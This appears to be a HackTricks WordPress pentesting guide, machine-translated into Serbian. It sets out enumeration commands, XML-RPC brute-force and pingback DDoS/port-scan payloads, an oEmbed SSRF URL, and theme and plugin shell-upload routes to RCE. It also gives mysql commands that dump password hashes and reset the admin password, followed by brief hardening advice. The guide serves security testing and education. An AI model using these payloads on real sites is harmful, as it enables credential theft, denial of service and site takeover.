23 KiB
Wordpress
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Basic Information
Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Teme se mogu naći u /wp-content/themes/, tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći temu twentytwelve možete pristupiti 404.php datoteci u: /wp-content/themes/twentytwelve/404.php
Još jedan koristan url može biti: /wp-content/themes/default/404.php
U wp-config.php možete pronaći root lozinku baze podataka.
Podrazumevani putanje za prijavu koje treba proveriti: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Main WordPress Files
index.php
license.txt
sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.wp-activate.php
se koristi za proces aktivacije putem e-pošte prilikom postavljanja novog WordPress sajta.- Folderi za prijavu (mogu biti preimenovani da bi se sakrili):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
je datoteka koja predstavlja funkciju WordPress-a koja omogućava prenos podataka putem HTTP-a kao transportnog mehanizma i XML-a kao mehanizma kodiranja. Ova vrsta komunikacije je zamenjena WordPress REST API.- Folder
wp-content
je glavni direktorijum gde se čuvaju dodaci i teme. wp-content/uploads/
je direktorijum gde se čuvaju sve datoteke koje su otpremljene na platformu.wp-includes/
Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.wp-sitemap.xml
U verzijama WordPress-a 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
Post exploitation
- Datoteka
wp-config.php
sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
Users Permissions
- Administrator
- Editor: Objavljuje i upravlja svojim i tuđim postovima
- Author: Objavljuje i upravlja svojim postovima
- Contributor: Piše i upravlja svojim postovima, ali ih ne može objaviti
- Subscriber: Pregleda postove i uređuje svoj profil
Passive Enumeration
Get WordPress version
Proverite da li možete pronaći datoteke /license.txt
ili /readme.html
Unutar izvora koda stranice (primer sa https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS link datoteke
- JavaScript datoteke
Preuzmi dodatke
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Preuzmi Teme
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ekstraktovanje verzija uopšte
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice.
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Aktivna enumeracija
Dodaci i Teme
Verovatno nećete moći da pronađete sve moguće Dodace i Teme. Da biste otkrili sve njih, biće potrebno da aktivno Brute Force-ujete listu Dodataka i Tema (na sreću, postoje automatski alati koji sadrže ove liste).
Korisnici
ID Brute
Dobijate važeće korisnike sa WordPress sajta tako što Brute Forcujete ID-eve korisnika:
curl -s -I -X GET http://blog.example.com/?author=1
Ako su odgovori 200 ili 30X, to znači da je id validan. Ako je odgovor 400, onda je id nevalidan.
wp-json
Takođe možete pokušati da dobijete informacije o korisnicima upitom:
curl http://blog.example.com/wp-json/wp/v2/users
Još jedan /wp-json/
krajnji tačka koja može otkriti neke informacije o korisnicima je:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Napomena da ovaj krajnji tačka samo izlaže korisnike koji su napravili post. Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene.
Takođe napomena da /wp-json/wp/v2/pages može da otkrije IP adrese.
Enumeracija korisničkog imena za prijavu
Kada se prijavljujete u /wp-login.php
, poruka je drugačija u zavisnosti od toga da li je korisničko ime prisutno ili ne.
XML-RPC
Ako je xml-rpc.php
aktivan, možete izvršiti brute-force napad na kredencijale ili ga koristiti za pokretanje DoS napada na druge resurse. (Možete automatizovati ovaj proces koristeći ovo na primer).
Da biste proverili da li je aktivan, pokušajte da pristupite /xmlrpc.php i pošaljete ovaj zahtev:
Proveri
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Bruteforce kredencijali
wp.getUserBlogs
, wp.getCategories
ili metaWeblog.getUsersBlogs
su neke od metoda koje se mogu koristiti za bruteforce kredencijale. Ako možete pronaći neku od njih, možete poslati nešto poput:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Poruka "Pogrešno korisničko ime ili lozinka" unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.
Korišćenjem ispravnih akreditiva možete otpremiti datoteku. U odgovoru će se pojaviti putanja (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Takođe postoji brži način za brute-force kredencijale koristeći system.multicall
jer možete pokušati nekoliko kredencijala u istom zahtevu:
Obilaženje 2FA
Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, možda ćete moći da zloupotrebite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS ili skeniranje portova
Ako možete pronaći metodu pingback.ping unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kom hostu/portu.
Ovo se može koristiti da se zatraži hiljade Wordpress sajtova da pristupe jednoj lokaciji (tako da se izazove DDoS u toj lokaciji) ili možete to koristiti da naterate Wordpress da skanira neku internu mrežu (možete naznačiti bilo koji port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Ako dobijete faultCode sa vrednošću većom od 0 (17), to znači da je port otvoren.
Pogledajte korišćenje system.multicall
u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ova datoteka obično postoji u korenu Wordpress sajta: /wp-cron.php
Kada se ova datoteka pristupi, izvršava se "težak" MySQL upit, tako da je mogu koristiti napadači da uzrokuju DoS.
Takođe, po defaultu, wp-cron.php
se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa visokim prometom može izazvati probleme (DoS).
Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).
/wp-json/oembed/1.0/proxy - SSRF
Pokušajte da pristupite https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net i Wordpress sajt može da pošalje zahtev ka vama.
Ovo je odgovor kada ne funkcioniše:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Ovaj alat proverava da li methodName: pingback.ping i za putanju /wp-json/oembed/1.0/proxy i ako postoji, pokušava da ih iskoristi.
Automatic Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice.
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Pribavite pristup prepisivanjem jednog bita
Više od pravog napada, ovo je radoznalost. U CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju 5389
fajla /var/www/html/wp-includes/user.php
da NOP-ujete NOT (!
) operaciju.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modifikovanje php iz teme koja se koristi (potrebne admin akreditive)
Izgled → Urednik teme → 404 Šablon (s desne strane)
Promenite sadržaj za php shell:
Pretražite internet kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Možete koristiti:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
Možda je moguće uploadovati .php fajlove kao plugin.
Kreirajte svoj php backdoor koristeći, na primer:
Zatim dodajte novi plugin:
Uploadujte plugin i pritisnite Install Now:
Kliknite na Procced:
Verovatno ovo neće učiniti ništa očigledno, ali ako odete na Media, videćete vaš shell uploadovan:
Pristupite mu i videćete URL za izvršavanje reverse shell-a:
Uploading and activating malicious plugin
Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranjiv i može se iskoristiti za dobijanje web shell-a. Ovaj proces se sprovodi kroz WordPress kontrolnu tablu na sledeći način:
- Plugin Acquisition: Plugin se dobija iz izvora kao što je Exploit DB kao ovde.
- Plugin Installation:
- Idite na WordPress kontrolnu tablu, zatim idite na
Dashboard > Plugins > Upload Plugin
. - Uploadujte zip fajl preuzetog plugina.
- Plugin Activation: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
- Exploitation:
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
Sadržaj uključuje vizuelne prikaze koji prikazuju korake u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
Za detaljnije korake proverite: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike je skripta dizajnirana da eskalira Cross-Site Scripting (XSS) ranjivost na Remote Code Execution (RCE) ili druge kritične ranjivosti u WordPress-u. Za više informacija proverite ovaj post. Pruža podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X. i omogućava:
- Privilege Escalation: Kreira korisnika u WordPress-u.
- (RCE) Custom Plugin (backdoor) Upload: Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
- (RCE) Built-In Plugin Edit: Uredite ugrađene plugine u WordPress-u.
- (RCE) Built-In Theme Edit: Uredite ugrađene teme u WordPress-u.
- (Custom) Custom Exploits: Prilagođeni exploits za treće strane WordPress plugine/teme.
Post Exploitation
Izvucite korisnička imena i lozinke:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Promenite administratorsku lozinku:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Attack Surface
Poznavanje načina na koji Wordpress plugin može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete pronaći kako plugin može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih plugina u ovom blog postu.
wp_ajax
Jedan od načina na koji plugin može izložiti funkcije korisnicima je putem AJAX handlera. Ovi handleri mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju wordpress nonce-a koji bilo koji korisnik autentifikovan u Wordpress instanci može imati (nezavisno od njegove uloge).
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u pluginu:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Korišćenje nopriv
čini krajnju tačku dostupnom svim korisnicima (čak i neautentifikovanim).
{% hint style="danger" %}
Pored toga, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije wp_verify_nonce
, ova funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Tako da korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
{% endhint %}
- REST API
Takođe je moguće izložiti funkcije iz WordPress-a registrujući REST API koristeći funkciju register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
permission_callback
je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
Ako se koristi ugrađena funkcija __return_true
, jednostavno će preskočiti proveru korisničkih dozvola.
- Direktan pristup php datoteci
Naravno, Wordpress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira samo pristupanjem datoteci, biće iskorišćena od strane bilo kog korisnika.
WordPress zaštita
Redovne ažuriranja
Uverite se da su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Takođe, instalirajte samo pouzdane WordPress dodatke i teme.
Bezbednosni dodaci
Ostale preporuke
- Uklonite podrazumevanog admin korisnika
- Koristite jake lozinke i 2FA
- Periodično proveravajte dozvole korisnika
- Ograničite pokušaje prijavljivanja kako biste sprečili Brute Force napade
- Preimenujte
wp-admin.php
datoteku i dozvolite pristup samo interno ili sa određenih IP adresa.
Koristite Trickest za lako kreiranje i automatizaciju radnih tokova uz pomoć najnaprednijih alata zajednice na svetu.
Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.